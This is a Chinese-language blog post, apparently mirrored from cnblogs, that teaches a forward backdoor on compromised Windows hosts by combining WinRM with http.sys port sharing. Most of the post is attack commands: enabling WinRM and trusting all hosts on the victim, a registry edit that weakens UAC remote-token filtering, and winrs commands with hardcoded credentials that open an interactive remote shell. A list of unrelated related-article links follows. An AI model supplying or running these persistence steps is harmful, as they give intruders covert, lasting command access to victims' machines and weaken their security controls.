zoukankan      html  css  js  c++  java
  • 端口复用正向后门

    利用http.sys端口复用实现后门

    原理

    这个后门的基本原理是用Windows的远程管理管理服务WinRM配合http.sys端口复用的特性实现正向连接的后门

    http.sys

    HTTP.sys是仅在Windows上运行的ASP.NET Core的web服务器。HTTP.sys是Kestrel服务器的替代品,它提供了Kestrel没有提供的一些功能。

    http.sys支持的系统

    1
    2
    1. Windows 7 or later
    2. Windows Server 2008 R2 or later

    HTTP.sys支持以下特性:

    1
    2
    3
    4
    5
    6
    7
    1. Windows Authentication
    2. Port sharing
    3. HTTPS with SNI
    4. HTTP/2 over TLS (Windows 10 or later)
    5. Direct file transmission
    6. Response caching
    7. WebSockets (Windows 8 or later)

    其中Port sharing就是我们要利用http.sys的特性之一端口复用,所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可,使用netsh http show servicestate命令可以查看所有在HTTP.sys上注册过的url前缀。

    开启WinRM服务

    1. Windows Server 2012及以上默认是开启WinRM服务的
    2. Windows Server 2008 R
    3. 需要winrm quickconfig -q来启动WinRM服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的
    //肉机上面快速启动winrm服务,并绑定到5985端口:
    winrm quickconfig -q
    winrm set winrm/config/Client @{TrustedHosts="*"}
    netstat -ano|find "5985"
    //客户端连接方式:
    winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"
    winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd //交互式shell
     
    
    //UAC问题,修改后,普通管理员登录后也是高权限:
    reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"

     

  • 相关阅读:
    grails How to check if element in groovy array/hash/collection/list? Stack Overflow
    慧忠里自提点
    GroovyQ | 关注Groovy社区动态,分享Groovy开发经验。
    strupr strlwr
    Faqseafilevssvn seafile
    C++ STL下载和安装
    Emacs中学习gdb调试
    Readlineselect
    Diskfileio GongGeng
    Achieving Groovylike Fluency in Java with Google Collections | The Kaptain on ... stuff
  • 原文地址:https://www.cnblogs.com/-zhong/p/13549351.html
Copyright © 2011-2022 走看看